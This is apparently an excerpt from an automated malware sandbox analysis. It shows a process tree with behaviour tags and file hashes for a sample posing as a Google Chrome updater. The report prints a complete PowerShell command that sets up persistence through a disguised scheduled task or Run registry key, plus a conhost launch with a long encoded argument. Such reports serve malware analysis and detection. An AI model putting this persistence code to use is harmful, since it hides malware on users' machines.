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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1624
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3600
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4388
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4228
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2872
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:880
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD55f0ddc7f3691c81ee14d17b419ba220d
SHA1f0ef5fde8bab9d17c0b47137e014c91be888ee53
SHA256a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5
SHA5122ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3
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Filesize
1KB
MD540e2f277ad4fdcbc96b0e95f6911f003
SHA13ce6e90ffdf8b68dbf11260a6f7a20052175694d
SHA2565577e59196c0c57fd3a9c9427d82f752660103888c916f2957fa975e14f5439d
SHA51201deb46550986a2ff53b8e9c4b40b3e44400913ded714bfb1271c0fafc157bde710f4dbf7b105f9b4dbdb8fa82ebbda62030ce6bd90ccce4a86b8d675962f4f0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5